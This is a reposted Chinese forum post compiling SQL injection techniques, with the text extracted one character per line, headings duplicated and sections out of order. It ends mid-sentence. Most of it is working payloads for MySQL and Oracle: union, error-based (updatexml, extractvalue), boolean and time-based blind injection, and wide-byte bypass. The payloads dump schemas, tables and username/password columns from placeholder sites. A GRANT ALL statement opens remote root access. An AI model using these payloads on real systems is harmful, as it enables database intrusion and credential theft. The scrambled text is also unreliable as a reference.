论坛
BBS
空间测绘
发表
发布文章
提问答疑
搜索
您还未登录
登录后即可体验更多功能
立即登录
我的收藏
提问答疑
我要投稿
SQL注入
主题分类
test1
[22118] 2021-06-29_SQL注入大全【实用收藏】
文档创建者:
s7ckTeam
浏览次数:
3
最后更新:
2025-01-18
SQL注入
3 人阅读
|
0 人回复
s7ckTeam
s7ckTeam
当前离线
积分
-58
6万
主题
-6万
回帖
-58
积分
管理员
积分
-58
发消息
2021-06-29_SQL注入大全【实用收藏】
S
Q
L
注
入
大
全
【
实
用
收
藏
】
转
自
安
全
先
师
L
e
m
o
n
S
e
c
2
0
2
1
-
0
6
-
2
9
前
言
前
言
转
:
天
禧
信
安
转
:
天
禧
信
安
S
Q
L
注
入
的
攻
击
方
式
根
据
应
用
程
序
处
理
数
据
库
返
回
内
容
的
不
同
,
可
以
分
为
可
显
注
入
、
报
错
注
入
和
盲
注
。
注
入
的
攻
击
方
式
根
据
应
用
程
序
处
理
数
据
库
返
回
内
容
的
不
同
,
可
以
分
为
可
显
注
入
、
报
错
注
入
和
盲
注
。
可
显
注
入
可
显
注
入
攻
击
者
可
以
直
接
在
当
前
界
面
内
容
中
获
取
想
要
获
得
的
内
容
。
报
错
注
入
报
错
注
入
数
据
库
查
询
返
回
结
果
并
没
有
在
页
面
中
显
示
,
但
是
应
用
程
序
将
数
据
库
报
错
信
息
打
印
到
了
页
面
中
,
所
以
攻
击
者
可
以
构
造
数
据
库
报
错
语
句
,
从
报
错
信
息
中
获
取
想
要
获
得
的
内
容
。
盲
注
盲
注
数
据
库
查
询
结
果
无
法
从
直
观
页
面
中
获
取
,
攻
击
者
通
过
使
用
数
据
库
逻
辑
或
使
数
据
库
库
执
行
延
时
等
方
法
获
取
想
要
获
得
的
内
容
。
M
y
s
q
l
手
工
注
入
手
工
注
入
联
合
注
入
报
错
注
入
报
错
注
入
?
i
d
=
1
’
o
r
d
e
r
b
y
4
–
+
?
i
d
=
0
’
u
n
i
o
n
s
e
l
e
c
t
1
,
2
,
3
,
d
a
t
a
b
a
s
e
(
)
–
+
?
i
d
=
0
’
u
n
i
o
n
s
e
l
e
c
t
1
,
2
,
3
,
g
r
o
u
p
_
c
o
n
c
a
t
(
t
a
b
l
e
_
n
a
m
e
)
f
r
o
m
i
n
f
o
r
m
a
t
i
o
n
_
s
c
h
e
m
a
.
t
a
b
l
e
s
w
h
e
r
e
t
a
b
l
e
_
s
c
h
e
m
a
=
d
a
t
a
b
a
s
e
(
)
-
-
+
?
i
d
=
0
’
u
n
i
o
n
s
e
l
e
c
t
1
,
2
,
3
,
g
r
o
u
p
_
c
o
n
c
a
t
(
c
o
l
u
m
n
_
n
a
m
e
)
f
r
o
m
i
n
f
o
r
m
a
t
i
o
n
_
s
c
h
e
m
a
.
c
o
l
u
m
n
s
w
h
e
r
e
t
a
b
l
e
_
n
a
m
e
=
“
u
s
e
r
s
”
-
-
+
g
r
o
u
p
_
c
o
n
c
a
t
(
c
o
l
u
m
n
_
n
a
m
e
)
可
替
换
为
u
n
h
e
x
(
H
e
x
(
c
a
s
t
(
c
o
l
u
m
n
_
n
a
m
e
+
a
s
+
c
h
a
r
)
)
)
c
o
l
u
m
n
_
n
a
m
e
?
i
d
=
0
’
u
n
i
o
n
s
e
l
e
c
t
1
,
2
,
3
,
g
r
o
u
p
_
c
o
n
c
a
t
(
p
a
s
s
w
o
r
d
)
f
r
o
m
u
s
e
r
s
-
-
+
g
r
o
u
p
_
c
o
n
c
a
t
可
替
换
为
c
o
n
c
a
t
_
w
s
(
’
,
’
,
i
d
,
u
s
e
r
s
,
p
a
s
s
w
o
r
d
)
?
i
d
=
0
’
u
n
i
o
n
s
e
l
e
c
t
1
,
2
,
3
,
p
a
s
s
w
o
r
d
f
r
o
m
u
s
e
r
s
l
i
m
i
t
0
,
1
–
+
1
.
f
l
o
o
r
(
)
s
e
l
e
c
t
*
f
r
o
m
t
e
s
t
w
h
e
r
e
i
d
=
1
a
n
d
(
s
e
l
e
c
t
1
f
r
o
m
(
s
e
l
e
c
t
c
o
u
n
t
(
*
)
,
c
o
n
c
a
t
(
u
s
e
r
(
)
,
f
l
o
o
r
(
r
a
n
d
(
0
)
*
2
)
)
x
f
r
o
m
i
n
f
o
r
m
a
t
i
o
n
_
s
c
h
e
m
a
.
t
a
b
l
e
s
g
r
o
u
p
b
y
x
)
a
)
;
2
.
e
x
t
r
a
c
t
v
a
l
u
e
(
)
s
e
l
e
c
t
*
f
r
o
m
t
e
s
t
w
h
e
r
e
i
d
=
1
a
n
d
(
e
x
t
r
a
c
t
v
a
l
u
e
(
1
,
c
o
n
c
a
t
(
0
x
7
e
,
(
s
e
l
e
c
t
u
s
e
r
(
)
)
,
0
x
7
e
)
)
)
;
时
间
盲
注
时
间
盲
注
常
用
函
数
s
l
e
e
p
(
)
分
割
函
数
s
u
b
s
t
r
、
s
u
b
s
t
r
i
n
g
、
l
e
f
t
分
割
函
数
编
码
后
可
不
用
引
号
,
a
s
c
i
i
(
)
h
e
x
(
)
一
般
时
间
盲
注
我
们
还
需
要
使
用
条
件
判
断
函
数
3
.
u
p
d
a
t
e
x
m
l
(
)
s
e
l
e
c
t
*
f
r
o
m
t
e
s
t
w
h
e
r
e
i
d
=
1
a
n
d
(
u
p
d
a
t
e
x
m
l
(
1
,
c
o
n
c
a
t
(
0
x
7
e
,
(
s
e
l
e
c
t
u
s
e
r
(
)
)
,
0
x
7
e
)
,
1
)
)
;
4
.
g
e
o
m
e
t
r
y
c
o
l
l
e
c
t
i
o
n
(
)
s
e
l
e
c
t
*
f
r
o
m
t
e
s
t
w
h
e
r
e
i
d
=
1
a
n
d
g
e
o
m
e
t
r
y
c
o
l
l
e
c
t
i
o
n
(
(
s
e
l
e
c
t
*
f
r
o
m
(
s
e
l
e
c
t
*
f
r
o
m
(
s
e
l
e
c
t
u
s
e
r
(
)
)
a
)
b
)
)
;
5
.
m
u
l
t
i
p
o
i
n
t
(
)
s
e
l
e
c
t
*
f
r
o
m
t
e
s
t
w
h
e
r
e
i
d
=
1
a
n
d
m
u
l
t
i
p
o
i
n
t
(
(
s
e
l
e
c
t
*
f
r
o
m
(
s
e
l
e
c
t
*
f
r
o
m
(
s
e
l
e
c
t
u
s
e
r
(
)
)
a
)
b
)
)
;
6
.
p
o
l
y
g
o
n
(
)
s
e
l
e
c
t
*
f
r
o
m
t
e
s
t
w
h
e
r
e
i
d
=
1
a
n
d
p
o
l
y
g
o
n
(
(
s
e
l
e
c
t
*
f
r
o
m
(
s
e
l
e
c
t
*
f
r
o
m
(
s
e
l
e
c
t
u
s
e
r
(
)
)
a
)
b
)
)
;
7
.
m
u
l
t
i
p
o
l
y
g
o
n
(
)
s
e
l
e
c
t
*
f
r
o
m
t
e
s
t
w
h
e
r
e
i
d
=
1
a
n
d
m
u
l
t
i
p
o
l
y
g
o
n
(
(
s
e
l
e
c
t
*
f
r
o
m
(
s
e
l
e
c
t
*
f
r
o
m
(
s
e
l
e
c
t
u
s
e
r
(
)
)
a
)
b
)
)
;
8
.
l
i
n
e
s
t
r
i
n
g
(
)
s
e
l
e
c
t
*
f
r
o
m
t
e
s
t
w
h
e
r
e
i
d
=
1
a
n
d
l
i
n
e
s
t
r
i
n
g
(
(
s
e
l
e
c
t
*
f
r
o
m
(
s
e
l
e
c
t
*
f
r
o
m
(
s
e
l
e
c
t
u
s
e
r
(
)
)
a
)
b
)
)
;
9
.
m
u
l
t
i
l
i
n
e
s
t
r
i
n
g
(
)
s
e
l
e
c
t
*
f
r
o
m
t
e
s
t
w
h
e
r
e
i
d
=
1
a
n
d
m
u
l
t
i
l
i
n
e
s
t
r
i
n
g
(
(
s
e
l
e
c
t
*
f
r
o
m
(
s
e
l
e
c
t
*
f
r
o
m
(
s
e
l
e
c
t
u
s
e
r
(
)
)
a
)
b
)
)
;
1
0
.
e
x
p
(
)
s
e
l
e
c
t
*
f
r
o
m
t
e
s
t
w
h
e
r
e
i
d
=
1
a
n
d
e
x
p
(
~
(
s
e
l
e
c
t
*
f
r
o
m
(
s
e
l
e
c
t
u
s
e
r
(
)
)
a
)
)
;
爆
库
:
?
i
d
=
1
’
a
n
d
u
p
d
a
t
e
x
m
l
(
1
,
(
s
e
l
e
c
t
c
o
n
c
a
t
(
0
x
7
e
,
(
s
c
h
e
m
a
_
n
a
m
e
)
,
0
x
7
e
)
f
r
o
m
i
n
f
o
r
m
a
t
i
o
n
_
s
c
h
e
m
a
.
s
c
h
e
m
a
t
a
l
i
m
i
t
2
,
1
)
,
1
)
–
+
爆
表
:
?
i
d
=
1
’
a
n
d
u
p
d
a
t
e
x
m
l
(
1
,
(
s
e
l
e
c
t
c
o
n
c
a
t
(
0
x
7
e
,
(
t
a
b
l
e
_
n
a
m
e
)
,
0
x
7
e
)
f
r
o
m
i
n
f
o
r
m
a
t
i
o
n
_
s
c
h
e
m
a
.
t
a
b
l
e
s
w
h
e
r
e
t
a
b
l
e
_
s
c
h
e
m
a
=
‘
s
e
c
u
r
i
t
y
’
l
i
m
i
t
3
,
1
)
,
1
)
–
+
爆
字
段
:
?
i
d
=
1
’
a
n
d
u
p
d
a
t
e
x
m
l
(
1
,
(
s
e
l
e
c
t
c
o
n
c
a
t
(
0
x
7
e
,
(
c
o
l
u
m
n
_
n
a
m
e
)
,
0
x
7
e
)
f
r
o
m
i
n
f
o
r
m
a
t
i
o
n
_
s
c
h
e
m
a
.
c
o
l
u
m
n
s
w
h
e
r
e
t
a
b
l
e
_
n
a
m
e
=
0
x
7
5
7
3
6
5
7
2
7
3
l
i
m
i
t
2
,
1
)
,
1
)
–
+
爆
数
据
:
?
i
d
=
1
’
a
n
d
u
p
d
a
t
e
x
m
l
(
1
,
(
s
e
l
e
c
t
c
o
n
c
a
t
(
0
x
7
e
,
p
a
s
s
w
o
r
d
,
0
x
7
e
)
f
r
o
m
u
s
e
r
s
l
i
m
i
t
1
,
1
)
,
1
)
–
+
c
o
n
c
a
t
也
可
以
放
在
外
面
u
p
d
a
t
e
x
m
l
(
1
,
c
o
n
c
a
t
(
0
x
7
e
,
(
s
e
l
e
c
t
p
a
s
s
w
o
r
d
f
r
o
m
u
s
e
r
s
l
i
m
i
t
1
,
1
)
,
0
x
7
e
)
,
1
)
盲
注
i
f
(
e
x
p
r
e
1
,
e
x
p
r
e
2
,
e
x
p
r
e
3
)
当
e
x
p
r
e
1
为
t
r
u
e
时
,
返
回
e
x
p
r
e
2
,
f
a
l
s
e
时
,
返
回
e
x
p
r
e
3
?
i
d
=
1
’
a
n
d
i
f
(
a
s
c
i
i
(
s
u
b
s
t
r
(
d
a
t
a
b
a
s
e
(
)
,
1
,
1
)
)
>
1
1
5
,
1
,
s
l
e
e
p
(
5
)
)
–
+
?
i
d
=
1
’
a
n
d
i
f
(
(
s
u
b
s
t
r
(
(
s
e
l
e
c
t
u
s
e
r
(
)
)
,
1
,
1
)
=
‘
r
’
)
,
s
l
e
e
p
(
5
)
,
1
)
–
+
布
尔
盲
注
布
尔
盲
注
宽
字
节
注
入
:
宽
字
节
注
入
:
单
引
号
转
义
为
’
,
m
y
s
q
l
会
将
编
码
为
%
5
c
,
宽
字
节
中
两
个
字
节
代
表
一
个
汉
字
,
所
以
把
%
d
f
加
上
%
5
c
就
变
成
了
一
个
汉
字
“
運
”
,
从
而
绕
过
转
义
O
r
a
c
l
e
手
工
注
入
手
工
注
入
联
合
注
入
联
合
注
入
?
i
d
=
1
’
a
n
d
s
u
b
s
t
r
(
(
s
e
l
e
c
t
u
s
e
r
(
)
)
,
1
,
1
)
=
‘
r
’
–
+
?
i
d
=
1
’
a
n
d
I
F
N
U
L
L
(
(
s
u
b
s
t
r
(
(
s
e
l
e
c
t
u
s
e
r
(
)
)
,
1
,
1
)
=
‘
r
’
)
,
0
)
–
+
/
/
如
果
I
F
N
U
L
L
第
一
个
参
数
的
表
达
式
为
N
U
L
L
,
则
返
回
第
二
个
参
数
的
备
用
值
,
不
为
N
u
l
l
则
输
出
值
?
i
d
=
1
’
a
n
d
s
t
r
c
m
p
(
(
s
u
b
s
t
r
(
(
s
e
l
e
c
t
u
s
e
r
(
)
)
,
1
,
1
)
=
‘
r
’
)
,
1
)
–
+
/
/
若
所
有
的
字
符
串
均
相
同
,
S
T
R
C
M
P
(
)
返
回
0
,
若
根
据
当
前
分
类
次
序
,
第
一
个
参
数
小
于
第
二
个
,
则
返
回
-
1
,
其
它
情
况
返
回
1
i
n
s
e
r
t
,
d
e
l
e
t
e
,
u
p
d
a
t
e
这
种
注
入
会
出
现
在
注
册
、
i
p
头
、
留
言
板
等
等
需
要
写
入
数
据
的
地
方
,
如
用
s
q
l
m
a
p
会
产
生
大
量
垃
圾
数
据
尝
试
性
插
入
、
引
号
、
双
引
号
、
转
义
符
让
语
句
不
能
正
常
执
行
,
然
后
如
果
插
入
失
败
,
更
新
失
败
,
然
后
深
入
测
试
确
定
是
否
存
在
注
入
二
次
注
入
和
宽
字
节
注
入
二
次
注
入
:
没
有
单
引
号
的
s
q
l
语
句
中
,
进
行
1
6
进
制
编
码
,
这
样
就
不
会
带
有
单
引
号
?
i
d
=
-
1
’
u
n
i
o
n
s
e
l
e
c
t
u
s
e
r
,
n
u
l
l
f
r
o
m
d
u
a
l
–
?
i
d
=
-
1
’
u
n
i
o
n
s
e
l
e
c
t
v
e
r
s
i
o
n
,
n
u
l
l
f
r
o
m
v
$
i
n
s
t
a
n
c
e
–
?
i
d
=
-
1
’
u
n
i
o
n
s
e
l
e
c
t
t
a
b
l
e
_
n
a
m
e
,
n
u
l
l
f
r
o
m
(
s
e
l
e
c
t
*
f
r
o
m
(
s
e
l
e
c
t
r
o
w
n
u
m
a
s
l
i
m
i
t
,
t
a
b
l
e
_
n
a
m
e
f
r
o
m
u
s
e
r
_
t
a
b
l
e
s
)
w
h
e
r
e
l
i
m
i
t
=
3
)
–
?
i
d
=
-
1
’
u
n
i
o
n
s
e
l
e
c
t
c
o
l
u
m
n
_
n
a
m
e
,
n
u
l
l
f
r
o
m
(
s
e
l
e
c
t
*
f
r
o
m
(
s
e
l
e
c
t
r
o
w
n
u
m
a
s
l
i
m
i
t
,
c
o
l
u
m
n
_
n
a
m
e
f
r
o
m
u
s
e
r
_
t
a
b
_
c
o
l
u
m
n
s
w
h
e
r
e
t
a
b
l
e
_
n
a
m
e
=
‘
U
S
E
R
S
’
)
w
h
e
r
e
l
i
m
i
t
=
2
)
–
?
i
d
=
-
1
’
u
n
i
o
n
s
e
l
e
c
t
u
s
e
r
n
a
m
e
,
p
a
s
s
w
d
f
r
o
m
u
s
e
r
s
–
?
i
d
=
-
1
’
u
n
i
o
n
s
e
l
e
c
t
u
s
e
r
n
a
m
e
,
p
a
s
s
w
d
f
r
o
m
(
s
e
l
e
c
t
*
f
r
o
m
(
s
e
l
e
c
t
u
s
e
r
n
a
m
e
,
p
a
s
s
w
d
,
r
o
w
n
u
m
a
s
l
i
m
i
t
f
r
o
m
u
s
e
r
s
)
w
h
e
r
e
l
i
m
i
t
=
3
)
–
报
错
注
入
?
i
d
=
1
’
a
n
d
1
=
c
t
x
s
y
s
.
d
r
i
t
h
s
x
.
s
n
(
1
,
(
s
e
l
e
c
t
u
s
e
r
f
r
o
m
d
u
a
l
)
)
–
?
i
d
=
1
’
a
n
d
1
=
c
t
x
s
y
s
.
d
r
i
t
h
s
x
.
s
n
(
1
,
(
s
e
l
e
c
t
b
a
n
n
e
r
f
r
o
m
v
$
v
e
r
s
i
o
n
w
h
e
r
e
b
a
n
n
e
r
l
i
k
e
'
O
r
a
c
l
e
%
)
)
–
?
i
d
=
1
’
a
n
d
1
=
c
t
x
s
y
s
.
d
r
i
t
h
s
x
.
s
n
(
1
,
(
s
e
l
e
c
t
t
a
b
l
e
_
n
a
m
e
f
r
o
m
(
s
e
l
e
c
t
r
o
w
n
u
m
a
s
l
i
m
i
t
,
t
a
b
l
e
_
n
a
m
e
f
r
o
m
u
s
e
r
_
t
a
b
l
e
s
)
w
h
e
r
e
l
i
m
i
t
=
3
)
)
–
?
i
d
=
1
’
a
n
d
1
=
c
t
x
s
y
s
.
d
r
i
t
h
s
x
.
s
n
(
1
,
(
s
e
l
e
c
t
c
o
l
u
m
n
_
n
a
m
e
f
r
o
m
(
s
e
l
e
c
t
r
o
w
n
u
m
a
s
l
i
m
i
t
,
c
o
l
u
m
n
_
n
a
m
e
f
r
o
m
u
s
e
r
_
t
a
b
_
c
o
l
u
m
n
s
w
h
e
r
e
t
a
b
l
e
_
n
a
m
e
=
‘
U
S
E
R
S
’
)
w
h
e
r
e
l
i
m
i
t
=
3
)
)
–
?
i
d
=
1
’
a
n
d
1
=
c
t
x
s
y
s
.
d
r
i
t
h
s
x
.
s
n
(
1
,
(
s
e
l
e
c
t
p
a
s
s
w
d
f
r
o
m
(
s
e
l
e
c
t
p
a
s
s
w
d
,
r
o
w
n
u
m
a
s
l
i
m
i
t
f
r
o
m
u
s
e
r
s
)
w
h
e
r
e
l
i
m
i
t
=
1
)
)
–
布
尔
盲
注
布
尔
盲
注
时
间
盲
注
时
间
盲
注
S
Q
L
手
工
注
入
手
工
注
入
判
断
注
入
点
是
否
存
在
判
断
注
入
点
是
否
存
在
数
字
型
注
入
数
字
型
注
入
u
r
l
后
输
入
字
符
型
注
入
字
符
型
注
入
搜
索
型
注
入
搜
索
型
注
入
?
i
d
=
1
’
a
n
d
1
=
(
s
e
l
e
c
t
d
e
c
o
d
e
(
u
s
e
r
,
‘
S
Y
S
T
E
M
’
,
1
,
0
,
0
)
f
r
o
m
d
u
a
l
)
–
?
i
d
=
1
’
a
n
d
1
=
(
s
e
l
e
c
t
d
e
c
o
d
e
(
s
u
b
s
t
r
(
u
s
e
r
,
1
,
1
)
,
‘
S
’
,
1
,
0
,
0
)
f
r
o
m
d
u
a
l
)
–
?
i
d
=
1
’
a
n
d
a
s
c
i
i
(
s
u
b
s
t
r
(
u
s
e
r
,
1
,
1
)
)
>
6
4
–
?
i
d
=
1
’
a
n
d
1
=
(
c
a
s
e
w
h
e
n
a
s
c
i
i
(
s
u
b
s
t
r
(
u
s
e
r
,
1
,
1
)
)
>
1
2
8
t
h
e
n
D
B
M
S
_
P
I
P
E
.
R
E
C
E
I
V
E
_
M
E
S
S
A
G
E
(
‘
a
’
,
5
)
e
l
s
e
1
e
n
d
)
–
?
i
d
=
1
’
a
n
d
1
=
(
c
a
s
e
w
h
e
n
a
s
c
i
i
(
s
u
b
s
t
r
(
u
s
e
r
,
1
,
1
)
)
>
6
4
t
h
e
n
D
B
M
S
_
P
I
P
E
.
R
E
C
E
I
V
E
_
M
E
S
S
A
G
E
(
‘
a
’
,
5
)
e
l
s
e
1
e
n
d
)
–
a
n
d
1
=
1
a
n
d
1
=
2
如
返
回
不
同
,
则
可
判
断
注
入
点
存
在
例
:
h
t
t
p
:
/
/
w
w
w
.
x
x
x
.
c
n
/
n
e
w
s
.
p
h
p
?
p
=
1
&
i
d
=
4
’
返
回
错
误
h
t
t
p
:
/
/
w
w
w
.
x
x
x
.
c
n
/
n
e
w
s
.
p
h
p
?
p
=
1
&
i
d
=
4
a
n
d
1
=
1
返
回
正
确
h
t
t
p
:
/
/
w
w
w
.
x
x
x
.
c
n
/
n
e
w
s
.
p
h
p
?
p
=
1
&
i
d
=
4
a
n
d
1
=
2
返
回
错
误
u
r
l
后
输
入
’
a
n
d
1
=
1
a
n
d
‘
1
’
=
'
1
’
a
n
d
1
=
2
a
n
d
‘
1
’
=
'
1
h
t
t
p
:
/
/
w
w
w
.
x
x
x
.
c
n
/
n
e
w
s
.
p
h
p
?
p
=
1
&
i
d
=
4
’
返
回
错
误
h
t
t
p
:
/
/
w
w
w
.
x
x
x
.
c
n
/
n
e
w
s
.
p
h
p
?
p
=
1
&
i
d
=
4
’
a
n
d
1
=
1
a
n
d
‘
1
’
=
'
1
返
回
正
确
h
t
t
p
:
/
/
w
w
w
.
x
x
x
.
c
n
/
n
e
w
s
.
p
h
p
?
p
=
1
&
i
d
=
4
’
a
n
d
1
=
2
a
n
d
‘
1
’
=
'
1
返
回
错
误
输
入
框
中
输
入
’
返
回
错
误
x
%
’
a
n
d
1
=
1
a
n
d
‘
%
’
=
’
返
回
正
确
数
字
型
数
字
型
字
符
型
字
符
型
搜
索
型
搜
索
型
寻
找
可
显
示
字
段
数
字
型
数
字
型
字
符
型
字
符
型
搜
索
型
搜
索
型
查
数
据
库
名
查
数
据
库
名
数
字
型
数
字
型
字
符
型
字
符
型
搜
索
型
查
数
据
库
中
表
名
查
数
据
库
中
表
名
数
字
型
数
字
型
x
%
’
a
n
d
1
=
1
a
n
d
‘
%
’
=
’
返
回
正
确
x
%
’
a
n
d
1
=
2
a
n
d
‘
%
’
=
’
返
回
错
误
判
断
字
段
数
h
t
t
p
:
/
/
w
w
w
.
x
x
x
.
c
n
/
n
e
w
s
.
p
h
p
?
p
=
1
&
i
d
=
4
o
r
d
e
r
b
y
2
6
返
回
正
确
h
t
t
p
:
/
/
w
w
w
.
x
x
x
.
c
n
/
n
e
w
s
.
p
h
p
?
p
=
1
&
i
d
=
4
o
r
d
e
r
b
y
2
7
返
回
错
误
得
出
结
论
:
字
段
数
2
6
。
h
t
t
p
:
/
/
w
w
w
.
x
x
x
.
c
n
/
n
e
w
s
.
p
h
p
?
p
=
1
&
i
d
=
4
’
o
r
d
e
r
b
y
2
6
#
返
回
正
确
h
t
t
p
:
/
/
w
w
w
.
x
x
x
.
c
n
/
n
e
w
s
.
p
h
p
?
p
=
1
&
i
d
=
4
’
o
r
d
e
r
b
y
2
7
#
返
回
错
误
得
出
结
论
:
字
段
数
2
6
。
x
%
’
o
r
d
e
r
b
y
2
6
#
返
回
正
确
x
%
’
o
r
d
e
r
b
y
2
7
#
返
回
错
误
得
出
结
论
:
字
段
数
2
6
。
h
t
t
p
:
/
/
w
w
w
.
x
x
x
.
c
n
/
n
e
w
s
.
p
h
p
?
p
=
1
&
i
d
=
4
a
n
d
1
=
2
u
n
i
o
n
s
e
l
e
c
t
1
,
2
,
3
,
4
,
5
,
6
,
7
,
8
,
9
,
…
h
t
t
p
:
/
/
w
w
w
.
x
x
x
.
c
n
/
n
e
w
s
.
p
h
p
?
p
=
1
&
i
d
=
4
’
a
n
d
1
=
2
u
n
i
o
n
s
e
l
e
c
t
1
,
2
,
3
,
4
,
5
,
6
,
7
,
8
,
9
,
…
#
x
%
’
a
n
d
1
=
2
u
n
i
o
n
s
e
l
e
c
t
1
,
2
,
3
,
4
,
5
,
6
,
7
,
8
,
9
,
…
#
h
t
t
p
:
/
/
w
w
w
.
x
x
x
.
c
n
/
n
e
w
s
.
p
h
p
?
p
=
1
&
i
d
=
4
a
n
d
1
=
2
u
n
i
o
n
s
e
l
e
c
t
1
,
2
,
d
a
t
a
b
a
s
e
(
)
,
4
,
5
,
6
,
7
,
8
,
9
,
…
h
t
t
p
:
/
/
w
w
w
.
x
x
x
.
c
n
/
n
e
w
s
.
p
h
p
?
p
=
1
&
i
d
=
4
’
a
n
d
1
=
2
u
n
i
o
n
s
e
l
e
c
t
1
,
2
,
d
a
t
a
b
a
s
e
(
)
,
4
,
5
,
6
,
7
,
8
,
9
,
…
#
x
%
’
a
n
d
1
=
2
u
n
i
o
n
s
e
l
e
c
t
1
,
2
,
d
a
t
a
b
a
s
e
(
)
,
4
,
5
,
6
,
7
,
8
,
9
,
…
#
h
t
t
p
:
/
/
w
w
w
.
x
x
x
.
c
n
/
n
e
w
s
.
p
h
p
?
p
=
1
&
i
d
=
4
a
n
d
1
=
2
u
n
i
o
n
s
e
l
e
c
t
1
,
g
r
o
u
p
_
c
o
n
c
a
t
(
t
a
b
l
e
_
n
a
m
e
)
,
3
,
4
,
5
,
6
,
7
,
8
,
9
,
1
0
,
1
1
,
1
2
,
1
3
,
1
4
,
1
5
,
1
6
,
1
7
f
r
o
m
i
n
f
o
r
m
a
t
i
o
n
_
s
c
h
e
m
a
.
t
a
b
l
e
s
w
h
e
r
e
t
a
b
l
e
_
s
c
h
e
m
a
=
‘
数
据
库
名
’
数
据
库
名
也
可
以
使
用
十
六
进
制
字
符
型
字
符
型
数
据
库
名
也
可
以
使
用
十
六
进
制
搜
索
型
数
据
库
名
也
可
以
使
用
十
六
进
制
查
表
中
的
列
名
数
字
型
表
名
也
可
以
使
用
十
六
进
制
字
符
型
表
名
也
可
以
使
用
十
六
进
制
搜
索
型
表
名
也
可
以
使
用
十
六
进
制
查
表
中
的
数
据
数
字
型
字
符
型
搜
索
型
h
t
t
p
:
/
/
w
w
w
.
x
x
x
.
c
n
/
n
e
w
s
.
p
h
p
?
p
=
1
&
i
d
=
4
’
a
n
d
1
=
2
u
n
i
o
n
s
e
l
e
c
t
1
,
g
r
o
u
p
_
c
o
n
c
a
t
(
t
a
b
l
e
_
n
a
m
e
)
,
3
,
4
,
5
,
6
,
7
,
8
,
9
,
1
0
,
1
1
,
1
2
,
1
3
,
1
4
,
1
5
,
1
6
,
1
7
f
r
o
m
i
n
f
o
r
m
a
t
i
o
n
_
s
c
h
e
m
a
.
t
a
b
l
e
s
w
h
e
r
e
t
a
b
l
e
_
s
c
h
e
m
a
=
‘
数
据
库
名
’
#
X
%
’
a
n
d
1
=
2
u
n
i
o
n
s
e
l
e
c
t
1
,
2
,
g
r
o
u
p
_
c
o
n
c
a
t
(
t
a
b
l
e
_
n
a
m
e
)
,
4
,
5
,
6
,
7
,
8
,
9
,
…
f
r
o
m
i
n
f
o
r
m
a
t
i
o
n
_
s
c
h
e
m
a
.
t
a
b
l
e
s
w
h
e
r
e
t
a
b
l
e
_
s
c
h
e
m
a
=
‘
数
据
库
名
’
#
h
t
t
p
:
/
/
w
w
w
.
x
x
x
.
c
n
/
n
e
w
s
.
p
h
p
?
p
=
1
&
i
d
=
4
a
n
d
1
=
2
u
n
i
o
n
s
e
l
e
c
t
1
,
g
r
o
u
p
_
c
o
n
c
a
t
(
c
o
l
u
m
n
_
n
a
m
e
)
,
3
,
4
,
5
,
6
,
7
,
8
,
9
,
1
0
,
1
1
,
1
2
,
1
3
,
1
4
,
1
5
,
1
6
,
1
7
f
r
o
m
i
n
f
o
r
m
a
t
i
o
n
_
s
c
h
e
m
a
.
c
o
l
u
m
n
s
w
h
e
r
e
t
a
b
l
e
_
n
a
m
e
=
‘
表
名
’
h
t
t
p
:
/
/
w
w
w
.
x
x
x
.
c
n
/
n
e
w
s
.
p
h
p
?
p
=
1
&
i
d
=
4
’
a
n
d
1
=
2
u
n
i
o
n
s
e
l
e
c
t
1
,
g
r
o
u
p
_
c
o
n
c
a
t
(
c
o
l
u
m
n
_
n
a
m
e
)
,
3
,
4
,
5
,
6
,
7
,
8
,
9
,
1
0
,
1
1
,
1
2
,
1
3
,
1
4
,
1
5
,
1
6
,
1
7
f
r
o
m
i
n
f
o
r
m
a
t
i
o
n
_
s
c
h
e
m
a
.
c
o
l
u
m
n
s
w
h
e
r
e
t
a
b
l
e
_
n
a
m
e
=
‘
表
名
’
#
x
%
’
a
n
d
1
=
2
u
n
i
o
n
s
e
l
e
c
t
1
,
2
,
g
r
o
u
p
_
c
o
n
c
a
t
(
c
o
l
u
m
n
_
n
a
m
e
)
,
4
,
5
,
6
,
7
,
8
,
9
,
…
f
r
o
m
i
n
f
o
r
m
a
t
i
o
n
_
s
c
h
e
m
a
.
c
o
l
u
m
n
s
w
h
e
r
e
t
a
b
l
e
_
n
a
m
e
=
‘
表
名
’
#
h
t
t
p
:
/
/
w
w
w
.
x
x
x
.
c
n
/
n
e
w
s
.
p
h
p
?
p
=
1
&
i
d
=
4
a
n
d
1
=
2
u
n
i
o
n
s
e
l
e
c
t
1
,
g
r
o
u
p
_
c
o
n
c
a
t
(
u
s
e
r
n
a
m
e
,
p
a
s
s
w
o
r
d
)
,
3
,
4
,
5
,
6
,
7
,
8
,
9
,
1
0
,
1
1
,
1
2
,
1
3
,
1
4
,
1
5
,
1
6
,
1
7
f
r
o
m
表
名
h
t
t
p
:
/
/
w
w
w
.
x
x
x
.
c
n
/
n
e
w
s
.
p
h
p
?
p
=
1
&
i
d
=
4
’
a
n
d
1
=
2
u
n
i
o
n
s
e
l
e
c
t
1
,
g
r
o
u
p
_
c
o
n
c
a
t
(
u
s
e
r
n
a
m
e
,
p
a
s
s
w
o
r
d
)
,
3
,
4
,
5
,
6
,
7
,
8
,
9
,
1
0
,
1
1
,
1
2
,
1
3
,
1
4
,
1
5
,
1
6
,
1
7
f
r
o
m
表
名
#
x
%
’
a
n
d
1
=
2
u
n
i
o
n
s
e
l
e
c
t
1
,
2
,
g
r
o
u
p
_
c
o
n
c
a
t
(
u
s
e
r
n
a
m
e
,
p
a
s
s
w
o
r
d
)
,
4
,
5
,
6
,
7
,
8
,
9
,
…
f
r
o
m
表
名
#
显
示
版
本
:
s
e
l
e
c
t
v
e
r
s
i
o
n
(
)
;
显
示
字
符
集
:
s
e
l
e
c
t
@
@
c
h
a
r
a
c
t
e
r
_
s
e
t
_
d
a
t
a
b
a
s
e
;
显
示
数
据
库
s
h
o
w
d
a
t
a
b
a
s
e
s
;
显
示
表
名
:
s
h
o
w
t
a
b
l
e
s
;
开
启
外
连
:
G
R
A
N
T
A
L
L
P
R
I
V
I
L
E
G
E
S
O
N
.
T
O
‘
r
o
o
t
’
@
’
%
’
I
D
E
N
T
I
F
I
E
D
B
Y
‘
1
2
3
4
5
6
’
W
I
T
H
G
R
A
N
T
O
P
T
I
O
N
;
M
y
S
Q
L
函
数
利
用
M
y
S
Q
L
提
供
了
l
o
a
d
_
f
i
l
e
(
)
函
数
,
可
以
帮
助
用
户
快
速
读
取
文
件
,
但
是
文
件
位
置
必
须
在
服
务
器
上
,
文
件
路
径
必
须
为
绝
对
路
径
,
而
且
需
要
r
o
o
t
权
